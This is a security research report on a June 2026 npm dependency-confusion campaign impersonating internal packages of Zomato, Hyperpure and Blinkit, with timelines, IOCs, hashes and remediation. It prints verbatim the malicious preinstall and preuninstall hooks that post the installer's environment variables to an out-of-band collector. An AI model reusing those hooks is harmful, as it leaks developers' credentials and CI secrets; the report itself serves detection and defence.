Someone did their homework on Zomato Group’s internal engineering namespace before sitting
down to publish. Between 15:42:21 and 15:45:40 UTC on June 21, 2026, ten npm packages
appeared on the public registry, each impersonating an internal package from a different
Zomato Group subsidiary: Zomato’s food delivery platform, Hyperpure’s B2B supply chain
arm, and Blinkit’s quick commerce infrastructure. Every package carried an identical
preinstall hook that fired on npm install, posting the installer’s hostname, username,
working directory, and the entire base64-encoded process environment to an
Interactsh out-of-band collector over plain HTTP.
Ten packages in 199 seconds. That is a script, not someone typing.
The Target: Zomato Group’s Internal Namespace
The attacker registered package names that map directly to the internal engineering vocabulary of three Zomato Group subsidiaries.
Zomato is India’s dominant food delivery platform. Hyperpure is Zomato’s B2B restaurant
supply chain business, supplying ingredients and kitchen essentials to restaurant partners.
Blinkit, acquired by Zomato in 2022, handles 10-minute grocery delivery. All three operate
under the Zomato Group umbrella. All three have engineering teams with internal npm packages.
All ten malicious packages claimed repositories under github.com/zomato/ and carried
descriptions that read like real internal library documentation.
zomato-espresso describes itself as “Zomato’s PDF generator service.” zomato-sushi
targets the Zomato design system namespace. zomato-mcp claims to be a Zomato MCP server
implementation with no actual implementation inside.
That last one is the most specific data point in the campaign. Registering a package named
zomato-mcp means the attacker knew Zomato engineers were building or evaluating Model
Context Protocol tooling. A name like that does not come from guessing at internal package
conventions. It comes from reconnaissance.
How Dependency Confusion Works Here
Dependency confusion attacks exploit the way npm resolves package names when both a private
internal registry and the public registry are configured. If a developer’s .npmrc or CI
pipeline falls back to the public registry when a package is not found internally, npm
fetches whatever is published publicly under that name. A package at version 1.0.0 on
the public registry wins over an internal package at the same version if the resolver
checks public first.
Every package in this campaign published at version 1.0.0. That is low enough to be
plausible as a first release of an internal library and high enough to resolve against
any CI pipeline that does not pin exact versions or enforce registry-only resolution.
Package Anatomy
Every package in the cluster follows the same template. Two files. A stub index.js that
exports nothing functional, and a package.json that does all the damage.
The stub, confirmed by Amazon Inspector sandbox analysis across all ten packages:
module.exports = { name: 'zomato-mcp', version: '1.0.0' };The package.json for each package carries three things that matter: a name and
description crafted to match a plausible Zomato internal library, a repository URL
pointing to github.com/zomato/<package-name> (none of which exist), and a scripts
block with a preinstall hook:
{
"scripts": {
"preinstall": "curl -s -X POST http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/install/$(echo -n 'zomato-mcp' | base64) -F host=$(hostname -f) -F user=$(whoami) -F cwd=$(pwd) -F env=$(env | base64 -w0)",
"preuninstall": "curl -s -X POST http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/uninstall/$(echo -n 'zomato-mcp' | base64) -F host=$(hostname -f)"
}
}The preinstall hook fires before npm writes any package files. It runs before the
developer’s own code, before any test runner, before any build step. On a CI machine with
AWS_ACCESS_KEY_ID, GITHUB_TOKEN, NPM_TOKEN, and every other secret injected as an
environment variable, env | base64 -w0 captures all of it in a single field and ships
it over plain HTTP to the attacker’s Interactsh session.
The preuninstall hook is worth noting. It beacons the hostname again on package removal,
giving the attacker a signal that the package was detected and removed. On a CI pipeline
that runs npm install and then npm uninstall as part of a cleanup step, both hooks
fire. The attacker learns the machine identity twice.
The Exfiltration Mechanics
The C2 domain d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site is an Interactsh
out-of-band collector. Interactsh is a
legitimate open-source tool from ProjectDiscovery, designed for pentest out-of-band
interaction testing. It works like Burp Suite Collaborator: a unique subdomain routes all
HTTP, DNS, and SMTP interactions to the session owner’s console. The subdomain
d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7 is unique to one registered session.
Using Interactsh as C2 has two operational consequences. The attacker needs no custom
infrastructure: every callback from every affected install lands in their Interactsh
console with the full form data including the env field. And because Interactsh sessions
expire, the window during which the attacker could collect callbacks is bounded by their
session lifetime.
Each package encodes its own name in the C2 URL path: /install/<base64(package-name)>.
This tags every callback with which lure package triggered it, giving the attacker a
breakdown of which internal package names resolved successfully on which machines.
The exfiltration is over plain HTTP, not HTTPS. Network monitoring that logs outbound HTTP connections will see this. TLS inspection is not required to detect it.
The 199-Second Publish Window
The registry time field survives package unpublish. We extracted the exact creation
timestamp for all ten packages:
| Timestamp (UTC) | Package | Gap |
|---|---|---|
| 2026-06-21 15:42:21 | zomato-mcp | first |
| 2026-06-21 15:43:30 | zomato-espresso | +69s |
| 2026-06-21 15:43:41 | hyperpure | +11s |
| 2026-06-21 15:43:53 | zomato-core | +12s |
| 2026-06-21 15:44:05 | zomato-server | +12s |
| 2026-06-21 15:44:17 | zomato-sushi | +12s |
| 2026-06-21 15:44:43 | zomato-config | +26s |
| 2026-06-21 15:44:55 | zomato-logger | +12s |
| 2026-06-21 15:45:09 | blinkit-core | +14s |
| 2026-06-21 15:45:40 | hyperpure-core | +31s |
After the initial 69-second gap (likely the operator verifying zomato-mcp published
correctly before continuing), eight of the remaining nine packages published at 11 to
14-second intervals. That cadence is consistent with a loop iterating over a prepared
list of package directories and running npm publish on each.
The packages were taken down on June 23 between 06:22:10 and 06:22:21 UTC. Eleven seconds to remove all ten packages. The same automation that published them removed them. The exposure window was 38.6 hours.
Campaign Scope: All Three Zomato Subsidiaries
The package names are not randomly chosen internal-sounding strings. They map the engineering vocabulary of Zomato Group’s three public-facing product lines:
| Package | Claimed description | Target subsidiary |
|---|---|---|
zomato-config | Zomato config library | Zomato platform |
zomato-logger | Zomato logging library | Zomato platform |
zomato-server | Zomato server-side utilities | Zomato platform |
zomato-sushi | Zomato design system | Zomato platform |
zomato-core | Zomato core utility library | Zomato platform |
zomato-espresso | Zomato’s PDF generator service | Zomato platform |
zomato-mcp | Zomato MCP server | Zomato AI/tooling |
hyperpure | Zomato hyperpure supply chain | Hyperpure B2B |
hyperpure-core | Zomato hyperpure core | Hyperpure B2B |
blinkit-core | Blinkit core | Blinkit quick commerce |
The zomato-sushi name targets what appears to be Zomato’s internal design system,
a common internal package name pattern in food-tech companies with large frontend teams.
zomato-espresso self-identifies as a PDF generator, which suggests the attacker had
specific knowledge of a Zomato internal tooling library. These are not names an attacker
guesses from the company’s public website.
OPSEC Failures
The preuninstall hook is the most revealing mistake. It exists to beacon the attacker when
a machine detects and removes the package. That is useful intelligence if you are running
a targeted operation and want to know which hosts found you. It is also an immediate
indicator of malicious intent to any analyst who reads the package.json. A legitimate
package does not POST the installer’s hostname to an external URL on uninstall.
The choice of Interactsh as the collection infrastructure is double-edged. It eliminates
the need for custom C2 infrastructure and is harder to block by IP since oast.site is
a legitimate pentest tool domain. But Interactsh sessions expire. If the session expired
before all 38.6 hours of callbacks were collected, the attacker lost data. More
importantly, using a public platform means the operator cannot update the endpoint,
rotate credentials, or deliver a follow-on payload. Every machine that installed one
of these packages received only the initial environment dump and nothing further.
The plain HTTP exfiltration is the most operationally careless decision. Any network
monitoring layer that logs outbound HTTP connections will see the POST to oast.site with
the full form fields in the request body. A TLS-encrypted POST to the same collector
would have been invisible to most network monitoring. The attacker chose convenience
over stealth.
Attribution
The publisher account identity was not preserved in the surviving registry metadata.
The subdomain d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site does not appear in any
prior threat intelligence we checked across VirusTotal, Shodan, and prior malicious
package reports. We found no prior campaign using the same Interactsh subdomain or the
same combination of package names.
The targeting profile, Zomato Group specifically across all three subsidiaries, the
description strings that cite specific internal tool names, and the inclusion of
zomato-mcp as a target all suggest the attacker had prior knowledge of Zomato’s
internal engineering vocabulary. Whether that came from public GitHub activity, job
postings, leaked internal documentation, or an insider is not determinable from the
package artifacts alone.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
zomato-config | npm package | 1.0.0 | OSV MAL-2026-6251, registry timestamp confirmed |
zomato-logger | npm package | 1.0.0 | OSV MAL-2026-6252, registry timestamp confirmed |
zomato-server | npm package | 1.0.0 | OSV MAL-2026-6253, registry timestamp confirmed |
zomato-sushi | npm package | 1.0.0 | OSV MAL-2026-6254, registry timestamp confirmed |
hyperpure-core | npm package | 1.0.0 | OSV MAL-2026-6250, registry timestamp confirmed |
blinkit-core | npm package | 1.0.0 | OSV MAL-2026-6249, registry timestamp confirmed |
zomato-core | npm package | 1.0.0 | OSV MAL-2026-6268, registry timestamp confirmed |
zomato-espresso | npm package | 1.0.0 | OSV MAL-2026-6269, registry timestamp confirmed |
zomato-mcp | npm package | 1.0.0 | OSV MAL-2026-6270, registry timestamp confirmed |
hyperpure | npm package | 1.0.0 | OSV MAL-2026-6370, registry timestamp confirmed |
d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site | C2 domain | Interactsh OOB collector | Extracted from preinstall hook, confirmed across all ten OSV advisories |
/install/<base64(pkg)> | C2 URL path | Per-package beacon path | Extracted from preinstall hook per OSV sandbox analysis |
env | base64 -w0 | Exfil payload field | Full process environment | Extracted from preinstall hook per OSV sandbox analysis |
Affected Versions
All packages unpublished June 23, 2026 between 06:22:10 and 06:22:21 UTC.
| Package | Version | Published (UTC) | SHA1 | OSV Entry |
|---|---|---|---|---|
zomato-mcp | 1.0.0 | 2026-06-21 15:42:21 | f4b328815b9661f18f57b90cf9f5cc95eaee76a5 | MAL-2026-6270 |
zomato-espresso | 1.0.0 | 2026-06-21 15:43:30 | 3a20e29cf15bc9de0be4b3058bfe93637a079373 | MAL-2026-6269 |
hyperpure | 1.0.0 | 2026-06-21 15:43:41 | df30de7bc6149c258e8107a478f3496899d2d3cd | MAL-2026-6370 |
zomato-core | 1.0.0 | 2026-06-21 15:43:53 | eefce3d6f8b52e566aea704e1b4bcfbba9e8578e | MAL-2026-6268 |
zomato-server | 1.0.0 | 2026-06-21 15:44:05 | 40f30b3393c7e50716df06149ee32553b379c4f0 | MAL-2026-6253 |
zomato-sushi | 1.0.0 | 2026-06-21 15:44:17 | 7535041b8d1508abb2b3ee1b22e332da992a3546 | MAL-2026-6254 |
zomato-config | 1.0.0 | 2026-06-21 15:44:43 | 7c8160cd300c62c5e2093f30169d820cfa277836 | MAL-2026-6251 |
zomato-logger | 1.0.0 | 2026-06-21 15:44:55 | 57015126cc539add7fc1738bf32499fb72b75603 | MAL-2026-6252 |
blinkit-core | 1.0.0 | 2026-06-21 15:45:09 | 5b3f91486a814516afcca3e7a8a4f44ae6591183 | MAL-2026-6249 |
hyperpure-core | 1.0.0 | 2026-06-21 15:45:40 | f838ff03ee730fed3168e840e4245273472a4139 | MAL-2026-6250 |
Remediation
-
Search
package-lock.json,yarn.lock, andpnpm-lock.yamlfor all ten package names. All were published at version1.0.0. Any match means the preinstall hook ran and the environment dump was posted to the Interactsh collector. -
Check egress logs for outbound HTTP connections to
oast.sitefrom Node.js processes or npm. The exfiltration is plain HTTP, not HTTPS, and the POST body contains the full environment dump in theenvform field. Any connection tod8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.siteconfirms the hook fired. -
If an egress connection is confirmed, rotate all credentials that were present as environment variables at install time:
GITHUB_TOKEN,NPM_TOKEN,AWS_*keys,GCP_*credentials,AZURE_*credentials, and any other secrets injected into the shell or CI pipeline at the timenpm installran. -
If the install occurred in a GitHub Actions workflow, treat all secrets in that job’s environment as exposed. Audit repository secrets, environment secrets, and OIDC tokens scoped to that workflow and rotate them.
-
To prevent dependency confusion attacks: configure
.npmrcto resolve all internal package names exclusively from your private registry with no public fallback. For npm, set@your-scope:registry=https://your-private-registry.example.com. For unscoped internal packages like those targeted here, a registry proxy with an allowlist is more reliable than fallback configuration.
The packages are unpublished. The Interactsh session that received the callbacks is bounded by its session lifetime. Any credential that was exposed during the 38.6-hour window should be rotated regardless of whether egress logs confirm a connection: the preinstall hook fires before npm prints anything to the terminal, and not all environments log outbound HTTP at that level of granularity.
